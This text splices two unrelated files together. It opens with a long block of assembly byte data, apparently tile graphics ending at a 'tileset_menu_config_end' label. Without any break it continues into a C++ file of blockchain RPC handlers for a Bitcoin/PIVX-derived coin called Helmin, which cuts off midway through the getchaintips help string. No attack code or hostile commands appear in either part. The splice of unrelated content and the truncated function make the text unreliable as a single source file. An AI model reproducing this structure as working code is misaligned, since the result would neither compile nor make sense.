%11111101 .byt %10111111, %10111111, %10111111, %10111111, %01111110, %01111110, %01111110, %01111110 .byt %01111110, %01111111, %01100110, %01011111, %01111111, %10111111, %10111111, %10111111 .byt %11111101, %11111101, %11111101, %10111001, %11111100, %01111110, %01111110, %01111110 .byt %11111111, %11110111, %11100111, %10101111, %11011111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11011111, %00111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000 .byt %11111111, %11111111, %11111111, %00111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %10011111, %11110111, %11101011, %11101101, %11110000 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11110111, %11110011, %11111111 .byt %01111100, %01111110, %11111110, %01111110, %10111110, %10111110, %11111110, %10111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10111111, %10111111, %10111111, %10111111, %10111111, %01111111, %01111111, %01111111 .byt %01111110, %01111110, %01111111, %01111111, %01111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11100000, %11110011, %11110011, %11110000, %11100111, %11100111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %00000111, %11100111, %00001111, %11001111, %11001111, %11001111 .byt %10000000, %10000000, %10000000, %10000000, %10000000, %10000000, %10000000, %10000000 .byt %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111101, %11111101 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111110, %11111110 .byt %01111111, %01111111, %01111111, %01111111, %01111111, %10111111, %10111111, %10111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %01111111, %01111111, %01111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11100111, %11100111, %11100111, %11000011, %10000011, %10000011, %11000111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11001111, %10000111, %00000111, %00001111, %10011111, %11111111, %11111111, %11111111 .byt %11111101, %11111101, %11111101, %11111110, %11111110, %11111110, %11111110, %11111110 .byt %11111110, %11111110, %11111110, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %00000000, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %01111111, %11111111, %11111111, %11111111, %11111111, %10001110, %11110001, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %00000011, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %01010000, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %00000111, %11111000, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11000000, %00111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %00000000, %11111111, %11111111 .byt %11111110, %11111110, %11111110, %01111110, %10111110, %10111110, %10111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %10111111 .byt %10111111, %11111111, %01101111, %01100011, %01110110, %01111011, %01111110, %01111111 .byt %01111111, %00011111, %11011111, %11111101, %11111001, %11111100, %11111101, %11111101 .byt %11111111, %11111110, %11111101, %11111010, %01100011, %11011111, %01111111, %11111111 .byt %11111111, %11111111, %11111110, %11111101, %11111111, %00111111, %11111111, %11111111 .byt %01111111, %10111111, %10111111, %01111111, %11000111, %10110001, %10111101, %11111111 .byt %11111111, %01111111, %01111111, %10111111, %10111111, %11111111, %11111110, %00000000 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11100011, %11000001, %10001100, %10011110, %10011100 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %10001111, %00000111, %00100011, %01110011, %11110011 .byt %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111101, %11111011, %01100011, %11011111, %01111111, %11111111 .byt %11111110, %11111110, %11111110, %11111100, %11111110, %00111110, %11111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10011111, %11001111, %11100111, %11110011, %11111001, %11111100, %11111110, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11110011, %11100111, %11001111, %10011111, %00111111, %01111111, %11111111, %11111111 .byt %00000000, %00000000, %00000000, %01100000, %00011000, %00001000, %00000110, %00000011 .byt %11111111, %11111111, %11111111, %10011111, %11100111, %11110111, %11111001, %11111100 .byt %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111110, %11111111, %11111111, %11111111, %11111111, %01010000, %11111111, %11111111 .byt %01111111, %10111111, %10111111, %01111111, %11000111, %10110001, %10111101, %10111110 .byt %11111111, %01111111, %01111111, %10111111, %10111111, %11111111, %11111110, %11111111 .byt %11111110, %11111110, %11111110, %11111110, %11111110, %11100010, %11101101, %11111101 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111101, %00011110, %01111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %10111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %01111111 .byt %10111111, %10011111, %11011111, %11100111, %11111011, %11111101, %11111110, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11110111, %11111011, %11111101, %11111110 .byt %11111101, %11111101, %11111101, %11111101, %11111101, %11111101, %11111101, %10110101 .byt %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %01111110 .byt %11111111, %11110111, %11100111, %10101111, %11011111, %11111111, %11111111, %11111111 .byt %11111110, %11111110, %11111110, %11011110, %00111110, %11111110, %11111110, %11111110 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11001111, %11001111, %11100111, %11100000, %11001111, %11000011, %10111001 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11110011, %11110011, %11100111, %00000111, %11110011, %11000011, %10011101 .byt %11000000, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110 .byt %10111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10101001, %10101001, %10111011, %11000111, %11101100, %11110011, %11111000, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10010101, %10010101, %11011101, %11100011, %00110111, %11001111, %00011111, %11111111 .byt %01111111, %01111111, %11111111, %10111111, %01111110, %01111110, %01111110, %01111110 .byt %11111101, %11111101, %01111101, %01111110, %11111101, %11111101, %11111101, %11111101 .byt %11011111, %11101111, %11111011, %11110111, %11111011, %11110111, %11100111, %11011111 .byt %11111111, %11111111, %11110111, %11111000, %11111101, %11111011, %11111111, %11101111 .byt %11111111, %11111101, %11100011, %00011111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %10111110, %11110001, %11111111, %11001111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11001111, %11101111, %11111111 .byt %11111110, %11111110, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %10111111, %10111111, %01111100, %01111100, %01111100, %01111100, %01111100, %01111100 .byt %01111110, %01111110, %11111111, %01111111, %11111111, %01111111, %11111111, %11111111 .byt %11111101, %11111101, %01111111, %11111111, %01111111, %11111111, %01111111, %00000000 .byt %11111111, %00001111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11110000, %00000000 .byt %11111111, %10011111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000 .byt %11111111, %11110101, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000 .byt %11111111, %01111111, %11111111, %11111111, %11111111, %11111111, %11111101, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111110, %00000000 .byt %11111111, %11111111, %01111111, %00111111, %10011111, %11111111, %11110111, %11111111 .byt %00111111, %01111111, %11111111, %11111111, %11111111, %11011111, %00001111, %00000000 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111011, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111100, %00000000 .byt %11111111, %11111110, %11111111, %11111111, %11111111, %11111111, %11111011, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000111, %00000000 .byt %11111111, %11101010, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000 .byt %10111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000 .byt %11111111, %00111000, %11111111, %11111111, %11111111, %11111111, %10111011, %11111111 .byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11000111, %00000000 .byt %11111100, %01111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11101011 .byt %01111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00010100 .byt %00000000, %11111100, %01100110, %11100110, %11110110, %11011100, %11000000, %01000000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %00111100, %01100110, %11000110, %11111100, %11011000, %11001100, %01000110 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %01111100, %11000110, %11000000, %11110000, %11000000, %01100000, %00111100 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %00111100, %01100110, %01100000, %00111000, %10001100, %11001100, %01111000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %11111100, %01111110, %00011000, %00011000, %00011000, %00011000, %00001000 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 .byt %00000000, %00111100, %01100110, %11000110, %11110110, %11111110, %11000110, %01000010 .byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000 tileset_menu_config_end:
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The PIVX developers // Copyright (c) 2018 The Helmin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "checkpoints.h" #include "main.h" #include "rpcserver.h" #include "sync.h" #include "util.h" #include <stdint.h> #include "json/json_spirit_value.h" using namespace json_spirit; using namespace std; extern void TxToJSON(const CTransaction& tx, const uint256 hashBlock, Object& entry); void ScriptPubKeyToJSON(const CScript& scriptPubKey, Object& out, bool fIncludeHex); double GetDifficulty(const CBlockIndex* blockindex) { // Floating point number that is a multiple of the minimum difficulty, // minimum difficulty = 1.0. if (blockindex == NULL) { if (chainActive.Tip() == NULL) return 1.0; else blockindex = chainActive.Tip(); } int nShift = (blockindex->nBits >> 24) & 0xff; double dDiff = (double)0x0000ffff / (double)(blockindex->nBits & 0x00ffffff); while (nShift < 29) { dDiff *= 256.0; nShift++; } while (nShift > 29) { dDiff /= 256.0; nShift--; } return dDiff; } Object blockToJSON(const CBlock& block, const CBlockIndex* blockindex, bool txDetails = false) { Object result; result.push_back(Pair("hash", block.GetHash().GetHex())); int confirmations = -1; // Only report confirmations if the block is on the main chain if (chainActive.Contains(blockindex)) confirmations = chainActive.Height() - blockindex->nHeight + 1; result.push_back(Pair("confirmations", confirmations)); result.push_back(Pair("size", (int)::GetSerializeSize(block, SER_NETWORK, PROTOCOL_VERSION))); result.push_back(Pair("height", blockindex->nHeight)); result.push_back(Pair("version", block.nVersion)); result.push_back(Pair("merkleroot", block.hashMerkleRoot.GetHex())); Array txs; BOOST_FOREACH (const CTransaction& tx, block.vtx) { if (txDetails) { Object objTx; TxToJSON(tx, uint256(0), objTx); txs.push_back(objTx); } else txs.push_back(tx.GetHash().GetHex()); } result.push_back(Pair("tx", txs)); result.push_back(Pair("time", block.GetBlockTime())); result.push_back(Pair("nonce", (uint64_t)block.nNonce)); result.push_back(Pair("bits", strprintf("%08x", block.nBits))); result.push_back(Pair("difficulty", GetDifficulty(blockindex))); result.push_back(Pair("chainwork", blockindex->nChainWork.GetHex())); if (blockindex->pprev) result.push_back(Pair("previousblockhash", blockindex->pprev->GetBlockHash().GetHex())); CBlockIndex* pnext = chainActive.Next(blockindex); if (pnext) result.push_back(Pair("nextblockhash", pnext->GetBlockHash().GetHex())); return result; } Object blockHeaderToJSON(const CBlock& block, const CBlockIndex* blockindex) { Object result; result.push_back(Pair("version", block.nVersion)); if (blockindex->pprev) result.push_back(Pair("previousblockhash", blockindex->pprev->GetBlockHash().GetHex())); result.push_back(Pair("merkleroot", block.hashMerkleRoot.GetHex())); result.push_back(Pair("time", block.GetBlockTime())); result.push_back(Pair("bits", strprintf("%08x", block.nBits))); result.push_back(Pair("nonce", (uint64_t)block.nNonce)); return result; } Value getblockcount(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getblockcount\n" "\nReturns the number of blocks in the longest block chain.\n" "\nResult:\n" "n (numeric) The current block count\n" "\nExamples:\n" + HelpExampleCli("getblockcount", "") + HelpExampleRpc("getblockcount", "")); return chainActive.Height(); } Value getbestblockhash(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getbestblockhash\n" "\nReturns the hash of the best (tip) block in the longest block chain.\n" "\nResult\n" "\"hex\" (string) the block hash hex encoded\n" "\nExamples\n" + HelpExampleCli("getbestblockhash", "") + HelpExampleRpc("getbestblockhash", "")); return chainActive.Tip()->GetBlockHash().GetHex(); } Value getdifficulty(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getdifficulty\n" "\nReturns the proof-of-work difficulty as a multiple of the minimum difficulty.\n" "\nResult:\n" "n.nnn (numeric) the proof-of-work difficulty as a multiple of the minimum difficulty.\n" "\nExamples:\n" + HelpExampleCli("getdifficulty", "") + HelpExampleRpc("getdifficulty", "")); return GetDifficulty(); } Value getrawmempool(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getrawmempool ( verbose )\n" "\nReturns all transaction ids in memory pool as a json array of string transaction ids.\n" "\nArguments:\n" "1. verbose (boolean, optional, default=false) true for a json object, false for array of transaction ids\n" "\nResult: (for verbose = false):\n" "[ (json array of string)\n" " \"transactionid\" (string) The transaction id\n" " ,...\n" "]\n" "\nResult: (for verbose = true):\n" "{ (json object)\n" " \"transactionid\" : { (json object)\n" " \"size\" : n, (numeric) transaction size in bytes\n" " \"fee\" : n, (numeric) transaction fee in helmin\n" " \"time\" : n, (numeric) local time transaction entered pool in seconds since 1 Jan 1970 GMT\n" " \"height\" : n, (numeric) block height when transaction entered pool\n" " \"startingpriority\" : n, (numeric) priority when transaction entered pool\n" " \"currentpriority\" : n, (numeric) transaction priority now\n" " \"depends\" : [ (array) unconfirmed transactions used as inputs for this transaction\n" " \"transactionid\", (string) parent transaction id\n" " ... ]\n" " }, ...\n" "]\n" "\nExamples\n" + HelpExampleCli("getrawmempool", "true") + HelpExampleRpc("getrawmempool", "true")); bool fVerbose = false; if (params.size() > 0) fVerbose = params[0].get_bool(); if (fVerbose) { LOCK(mempool.cs); Object o; BOOST_FOREACH (const PAIRTYPE(uint256, CTxMemPoolEntry) & entry, mempool.mapTx) { const uint256& hash = entry.first; const CTxMemPoolEntry& e = entry.second; Object info; info.push_back(Pair("size", (int)e.GetTxSize())); info.push_back(Pair("fee", ValueFromAmount(e.GetFee()))); info.push_back(Pair("time", e.GetTime())); info.push_back(Pair("height", (int)e.GetHeight())); info.push_back(Pair("startingpriority", e.GetPriority(e.GetHeight()))); info.push_back(Pair("currentpriority", e.GetPriority(chainActive.Height()))); const CTransaction& tx = e.GetTx(); set<string> setDepends; BOOST_FOREACH (const CTxIn& txin, tx.vin) { if (mempool.exists(txin.prevout.hash)) setDepends.insert(txin.prevout.hash.ToString()); } Array depends(setDepends.begin(), setDepends.end()); info.push_back(Pair("depends", depends)); o.push_back(Pair(hash.ToString(), info)); } return o; } else { vector<uint256> vtxid; mempool.queryHashes(vtxid); Array a; BOOST_FOREACH (const uint256& hash, vtxid) a.push_back(hash.ToString()); return a; } } Value getblockhash(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "getblockhash index\n" "\nReturns hash of block in best-block-chain at index provided.\n" "\nArguments:\n" "1. index (numeric, required) The block index\n" "\nResult:\n" "\"hash\" (string) The block hash\n" "\nExamples:\n" + HelpExampleCli("getblockhash", "1000") + HelpExampleRpc("getblockhash", "1000")); int nHeight = params[0].get_int(); if (nHeight < 0 || nHeight > chainActive.Height()) throw JSONRPCError(RPC_INVALID_PARAMETER, "Block height out of range"); CBlockIndex* pblockindex = chainActive[nHeight]; return pblockindex->GetBlockHash().GetHex(); } Value getblock(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getblock \"hash\" ( verbose )\n" "\nIf verbose is false, returns a string that is serialized, hex-encoded data for block 'hash'.\n" "If verbose is true, returns an Object with information about block <hash>.\n" "\nArguments:\n" "1. \"hash\" (string, required) The block hash\n" "2. verbose (boolean, optional, default=true) true for a json object, false for the hex encoded data\n" "\nResult (for verbose = true):\n" "{\n" " \"hash\" : \"hash\", (string) the block hash (same as provided)\n" " \"confirmations\" : n, (numeric) The number of confirmations, or -1 if the block is not on the main chain\n" " \"size\" : n, (numeric) The block size\n" " \"height\" : n, (numeric) The block height or index\n" " \"version\" : n, (numeric) The block version\n" " \"merkleroot\" : \"xxxx\", (string) The merkle root\n" " \"tx\" : [ (array of string) The transaction ids\n" " \"transactionid\" (string) The transaction id\n" " ,...\n" " ],\n" " \"time\" : ttt, (numeric) The block time in seconds since epoch (Jan 1 1970 GMT)\n" " \"nonce\" : n, (numeric) The nonce\n" " \"bits\" : \"1d00ffff\", (string) The bits\n" " \"difficulty\" : x.xxx, (numeric) The difficulty\n" " \"previousblockhash\" : \"hash\", (string) The hash of the previous block\n" " \"nextblockhash\" : \"hash\" (string) The hash of the next block\n" "}\n" "\nResult (for verbose=false):\n" "\"data\" (string) A string that is serialized, hex-encoded data for block 'hash'.\n" "\nExamples:\n" + HelpExampleCli("getblock", "\"00000000000fd08c2fb661d2fcb0d49abb3a91e5f27082ce64feed3b4dede2e2\"") + HelpExampleRpc("getblock", "\"00000000000fd08c2fb661d2fcb0d49abb3a91e5f27082ce64feed3b4dede2e2\"")); std::string strHash = params[0].get_str(); uint256 hash(strHash); bool fVerbose = true; if (params.size() > 1) fVerbose = params[1].get_bool(); if (mapBlockIndex.count(hash) == 0) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found"); CBlock block; CBlockIndex* pblockindex = mapBlockIndex[hash]; if (!ReadBlockFromDisk(block, pblockindex)) throw JSONRPCError(RPC_INTERNAL_ERROR, "Can't read block from disk"); if (!fVerbose) { CDataStream ssBlock(SER_NETWORK, PROTOCOL_VERSION); ssBlock << block; std::string strHex = HexStr(ssBlock.begin(), ssBlock.end()); return strHex; } return blockToJSON(block, pblockindex); } Value getblockheader(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "getblockheader \"hash\" ( verbose )\n" "\nIf verbose is false, returns a string that is serialized, hex-encoded data for block 'hash' header.\n" "If verbose is true, returns an Object with information about block <hash> header.\n" "\nArguments:\n" "1. \"hash\" (string, required) The block hash\n" "2. verbose (boolean, optional, default=true) true for a json object, false for the hex encoded data\n" "\nResult (for verbose = true):\n" "{\n" " \"version\" : n, (numeric) The block version\n" " \"previousblockhash\" : \"hash\", (string) The hash of the previous block\n" " \"merkleroot\" : \"xxxx\", (string) The merkle root\n" " \"time\" : ttt, (numeric) The block time in seconds since epoch (Jan 1 1970 GMT)\n" " \"bits\" : \"1d00ffff\", (string) The bits\n" " \"nonce\" : n, (numeric) The nonce\n" "}\n" "\nResult (for verbose=false):\n" "\"data\" (string) A string that is serialized, hex-encoded data for block 'hash' header.\n" "\nExamples:\n" + HelpExampleCli("getblockheader", "\"00000000000fd08c2fb661d2fcb0d49abb3a91e5f27082ce64feed3b4dede2e2\"") + HelpExampleRpc("getblockheader", "\"00000000000fd08c2fb661d2fcb0d49abb3a91e5f27082ce64feed3b4dede2e2\"")); std::string strHash = params[0].get_str(); uint256 hash(strHash); bool fVerbose = true; if (params.size() > 1) fVerbose = params[1].get_bool(); if (mapBlockIndex.count(hash) == 0) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found"); CBlock block; CBlockIndex* pblockindex = mapBlockIndex[hash]; if (!ReadBlockFromDisk(block, pblockindex)) throw JSONRPCError(RPC_INTERNAL_ERROR, "Can't read block from disk"); if (!fVerbose) { CDataStream ssBlock(SER_NETWORK, PROTOCOL_VERSION); ssBlock << block.GetBlockHeader(); std::string strHex = HexStr(ssBlock.begin(), ssBlock.end()); return strHex; } return blockHeaderToJSON(block, pblockindex); } Value gettxoutsetinfo(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "gettxoutsetinfo\n" "\nReturns statistics about the unspent transaction output set.\n" "Note this call may take some time.\n" "\nResult:\n" "{\n" " \"height\":n, (numeric) The current block height (index)\n" " \"bestblock\": \"hex\", (string) the best block hash hex\n" " \"transactions\": n, (numeric) The number of transactions\n" " \"txouts\": n, (numeric) The number of output transactions\n" " \"bytes_serialized\": n, (numeric) The serialized size\n" " \"hash_serialized\": \"hash\", (string) The serialized hash\n" " \"total_amount\": x.xxx (numeric) The total amount\n" "}\n" "\nExamples:\n" + HelpExampleCli("gettxoutsetinfo", "") + HelpExampleRpc("gettxoutsetinfo", "")); Object ret; CCoinsStats stats; FlushStateToDisk(); if (pcoinsTip->GetStats(stats)) { ret.push_back(Pair("height", (int64_t)stats.nHeight)); ret.push_back(Pair("bestblock", stats.hashBlock.GetHex())); ret.push_back(Pair("transactions", (int64_t)stats.nTransactions)); ret.push_back(Pair("txouts", (int64_t)stats.nTransactionOutputs)); ret.push_back(Pair("bytes_serialized", (int64_t)stats.nSerializedSize)); ret.push_back(Pair("hash_serialized", stats.hashSerialized.GetHex())); ret.push_back(Pair("total_amount", ValueFromAmount(stats.nTotalAmount))); } return ret; } Value gettxout(const Array& params, bool fHelp) { if (fHelp || params.size() < 2 || params.size() > 3) throw runtime_error( "gettxout \"txid\" n ( includemempool )\n" "\nReturns details about an unspent transaction output.\n" "\nArguments:\n" "1. \"txid\" (string, required) The transaction id\n" "2. n (numeric, required) vout value\n" "3. includemempool (boolean, optional) Whether to included the mem pool\n" "\nResult:\n" "{\n" " \"bestblock\" : \"hash\", (string) the block hash\n" " \"confirmations\" : n, (numeric) The number of confirmations\n" " \"value\" : x.xxx, (numeric) The transaction value in btc\n" " \"scriptPubKey\" : { (json object)\n" " \"asm\" : \"code\", (string) \n" " \"hex\" : \"hex\", (string) \n" " \"reqSigs\" : n, (numeric) Number of required signatures\n" " \"type\" : \"pubkeyhash\", (string) The type, eg pubkeyhash\n" " \"addresses\" : [ (array of string) array of helmin addresses\n" " \"helminaddress\" (string) helmin address\n" " ,...\n" " ]\n" " },\n" " \"version\" : n, (numeric) The version\n" " \"coinbase\" : true|false (boolean) Coinbase or not\n" "}\n" "\nExamples:\n" "\nGet unspent transactions\n" + HelpExampleCli("listunspent", "") + "\nView the details\n" + HelpExampleCli("gettxout", "\"txid\" 1") + "\nAs a json rpc call\n" + HelpExampleRpc("gettxout", "\"txid\", 1")); Object ret; std::string strHash = params[0].get_str(); uint256 hash(strHash); int n = params[1].get_int(); bool fMempool = true; if (params.size() > 2) fMempool = params[2].get_bool(); CCoins coins; if (fMempool) { LOCK(mempool.cs); CCoinsViewMemPool view(pcoinsTip, mempool); if (!view.GetCoins(hash, coins)) return Value::null; mempool.pruneSpent(hash, coins); // TODO: this should be done by the CCoinsViewMemPool } else { if (!pcoinsTip->GetCoins(hash, coins)) return Value::null; } if (n < 0 || (unsigned int)n >= coins.vout.size() || coins.vout[n].IsNull()) return Value::null; BlockMap::iterator it = mapBlockIndex.find(pcoinsTip->GetBestBlock()); CBlockIndex* pindex = it->second; ret.push_back(Pair("bestblock", pindex->GetBlockHash().GetHex())); if ((unsigned int)coins.nHeight == MEMPOOL_HEIGHT) ret.push_back(Pair("confirmations", 0)); else ret.push_back(Pair("confirmations", pindex->nHeight - coins.nHeight + 1)); ret.push_back(Pair("value", ValueFromAmount(coins.vout[n].nValue))); Object o; ScriptPubKeyToJSON(coins.vout[n].scriptPubKey, o, true); ret.push_back(Pair("scriptPubKey", o)); ret.push_back(Pair("version", coins.nVersion)); ret.push_back(Pair("coinbase", coins.fCoinBase)); return ret; } Value verifychain(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "verifychain ( checklevel numblocks )\n" "\nVerifies blockchain database.\n" "\nArguments:\n" "1. checklevel (numeric, optional, 0-4, default=3) How thorough the block verification is.\n" "2. numblocks (numeric, optional, default=288, 0=all) The number of blocks to check.\n" "\nResult:\n" "true|false (boolean) Verified or not\n" "\nExamples:\n" + HelpExampleCli("verifychain", "") + HelpExampleRpc("verifychain", "")); int nCheckLevel = GetArg("-checklevel", 3); int nCheckDepth = GetArg("-checkblocks", 288); if (params.size() > 0) nCheckLevel = params[0].get_int(); if (params.size() > 1) nCheckDepth = params[1].get_int(); return CVerifyDB().VerifyDB(pcoinsTip, nCheckLevel, nCheckDepth); } Value getblockchaininfo(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getblockchaininfo\n" "Returns an object containing various state info regarding block chain processing.\n" "\nResult:\n" "{\n" " \"chain\": \"xxxx\", (string) current network name as defined in BIP70 (main, test, regtest)\n" " \"blocks\": xxxxxx, (numeric) the current number of blocks processed in the server\n" " \"headers\": xxxxxx, (numeric) the current number of headers we have validated\n" " \"bestblockhash\": \"...\", (string) the hash of the currently best block\n" " \"difficulty\": xxxxxx, (numeric) the current difficulty\n" " \"verificationprogress\": xxxx, (numeric) estimate of verification progress [0..1]\n" " \"chainwork\": \"xxxx\" (string) total amount of work in active chain, in hexadecimal\n" "}\n" "\nExamples:\n" + HelpExampleCli("getblockchaininfo", "") + HelpExampleRpc("getblockchaininfo", "")); Object obj; obj.push_back(Pair("chain", Params().NetworkIDString())); obj.push_back(Pair("blocks", (int)chainActive.Height())); obj.push_back(Pair("headers", pindexBestHeader ? pindexBestHeader->nHeight : -1)); obj.push_back(Pair("bestblockhash", chainActive.Tip()->GetBlockHash().GetHex())); obj.push_back(Pair("difficulty", (double)GetDifficulty())); obj.push_back(Pair("verificationprogress", Checkpoints::GuessVerificationProgress(chainActive.Tip()))); obj.push_back(Pair("chainwork", chainActive.Tip()->nChainWork.GetHex())); return obj; } /** Comparison function for sorting the getchaintips heads. */ struct CompareBlocksByHeight { bool operator()(const CBlockIndex* a, const CBlockIndex* b) const { /* Make sure that unequal blocks with the same height do not compare equal. Use the pointers themselves to make a distinction. */ if (a->nHeight != b->nHeight) return (a->nHeight > b->nHeight); return a < b; } }; Value getchaintips(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getchaintips\n" "Return information about all known tips in the block tree," " including the main chain as well as orphaned branches.\n" "\nResult:\n" "[\n" " {\n" " \"height\": xxxx, (numeric) height of the chain tip\n" " \"hash\": \"xxxx\", (string) block hash of the tip\n" " \"branchlen\": 0 (numeric) zero for main chain\n" " \"status\": \"active\" (string) \"active\" for the main chain\n" " },\n" " {\n" " \"height\": xxxx,\n" " \"hash\": \"xxxx\",\n" " 